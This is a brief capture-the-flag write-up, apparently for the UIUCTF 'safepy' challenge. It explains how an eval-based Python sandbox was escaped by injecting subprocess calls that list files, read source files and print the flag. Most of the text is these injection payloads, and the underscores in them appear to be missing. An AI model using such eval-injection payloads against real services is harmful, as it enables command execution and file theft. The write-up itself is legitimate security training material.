safepy
You have to exit the jail of a python program The program only does eval to get the values so with the following you get the flag:
print(import(“subprocess”).getoutput(“ls”)) print(import(“subprocess”).getoutput(“cat main.py”)) print(import(“subprocess”).getoutput(“cat README.md”)) print(import(“subprocess”).getoutput(“find / -name flag”)) print(import(“subprocess”).getoutput(“cat /flag”)) uiuctf{na1v3_0r_mal1ci0u5_chang3?}
Comments